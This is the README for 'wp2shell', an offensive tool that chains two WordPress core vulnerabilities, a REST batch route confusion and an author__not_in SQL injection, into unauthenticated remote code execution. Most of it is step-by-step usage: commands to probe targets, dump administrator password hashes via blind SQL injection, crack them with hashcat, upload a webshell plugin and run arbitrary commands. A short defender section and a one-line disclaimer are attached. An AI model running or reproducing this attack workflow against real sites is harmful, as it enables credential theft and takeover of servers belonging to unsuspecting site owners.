Files
2026-07-19 00:33:47 +00:00

192 lines
6.1 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# wp2shell by: ek0ms savi0r
**Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)**
`wp2shell` exploit for critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in `WP_Query` to achieve **unauthenticated remote code execution** on vulnerable WordPress installations.
| Detail | Info |
|--------|------|
| **CVEs** | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (`author__not_in` SQLi) |
| **Affected** | WordPress 6.9.0 6.9.4, 7.0.0 7.0.1 |
| **Patched** | 6.9.5, 7.0.2 |
| **Auth Required** | None — unauthenticated |
| **CVSS** | Critical (RCE chain) |
| **Discovered By** | Adam Kues (Assetnote / Searchlight Cyber) |
| **Dependencies** | Python 3.8+ — **standard library only** |
---
## How It Works
The exploit chains two bugs in WordPress core:
1. **CVE-2026-60137 — SQL Injection** When `author__not_in` is passed as a **string** instead of an array, WordPress skips the `is_array()` sanitisation guard and interpolates the raw value into a `NOT IN (...)` SQL clause.
2. **CVE-2026-63030 — Batch Route Confusion** The `/wp-json/batch/v1` endpoint builds parallel `$matches` and `$validation` arrays. A malformed sub-request is appended to `$validation` but not `$matches`, causing a +1 index shift. Sub-request *i* gets dispatched with sub-request *i+1*'s handler.
**Chained together**: A `POST /wp/v2/posts` request carrying an inner `GET /wp/v2/users` request with an `author_exclude` string bypasses both the method allow-list and input sanitisation. The string reaches `WP_Query` as `author__not_in` and gets interpolated into SQL — giving you **unauthenticated blind SQL injection**.
From there, the tool can:
- Extract the administrator password hash
- Authenticate as admin (once the hash is cracked)
- Upload a malicious plugin
- Execute arbitrary system commands
---
## Features
| Feature | Description |
|---------|-------------|
| **Vulnerability Check** | Safe time-delay probe — reads no data, changes nothing |
| **Data Extraction** | Blind SQL injection with binary-search optimisation for efficient extraction |
| **User Hash Dump** | Extract `user_login` and `user_pass` hashes from `wp_users` |
| **Remote Code Execution** | Authenticate as admin, upload a webshell plugin, execute commands |
| **Interactive Shell** | Persistent command execution session |
| **Colour Output** | Clear visual feedback for scan results |
| **No Dependencies** | Uses only Python's standard library |
---
## Installation
```bash
git clone https://git.churchofmalware.org/ek0mssavi0r/wordpressTOWN.git
cd wordpressTOWN
chmod +x wp2shell.py
```
That's it. No third-party packages required.
---
## Usage
```
./wp2shell.py <url> [command] [options]
```
### Interactive Mode (Menu-Driven)
```bash
./wp2shell.py http://target.com
```
Launches an interactive menu with all functionality available via numbered options.
### Commands
#### `check` — Confirm Vulnerability (Safe)
Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.
```bash
./wp2shell.py http://target.com check
```
#### `read` — Extract Data (Blind SQL Injection)
Extracts information from the database using time-based blind SQL injection.
```bash
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
```
#### `shell` — Remote Code Execution
**Requires valid administrator credentials.** The SQL injection can recover the password hash, but you must supply the recovered plaintext password.
```bash
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
```
---
## Options
| Option | Description |
|--------|-------------|
| `--users` | Extract `user_login` and `user_pass` from `wp_users` |
| `--database` | Extract the current database name |
| `--version` | Extract the MySQL version |
| `--query "SQL"` | Execute a custom SQL query (blind extraction) |
| `--user USER` | Admin username for RCE |
| `--password PASS` | Admin password for RCE (plaintext, recovered via SQLi) |
| `--cmd CMD` | Command to execute via the webshell |
---
## Example Workflow
```bash
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
```
---
## Affected Versions
| Branch | Affected | Fixed |
|--------|----------|-------|
| 6.9.x | 6.9.0 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 6.8.5 (SQLi only, no RCE) | 6.8.6 |
Versions before 6.9.0 are **not** affected by the full RCE chain.
---
## Detection & Mitigation
**For Defenders:**
- Update to **6.9.5**, **7.0.2**, or later immediately
- Cloudflare WAF customers are automatically protected
- Wordfence customers have firewall rules
- Monitor for `POST /wp-json/batch/v1` requests with nested `requests` bodies
- A `404` on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access
---
## Legal Disclaimer
> **This tool is for educational and authorised security testing purposes only.**
---
## Credits
- **Discovery**: Adam Kues (Assetnote / Searchlight Cyber)
- **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
- **CVE-2026-63030** (Batch route confusion): Adam Kues
---
*For more details on the vulnerability, see the [Searchlight Cyber research blog](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/).*
```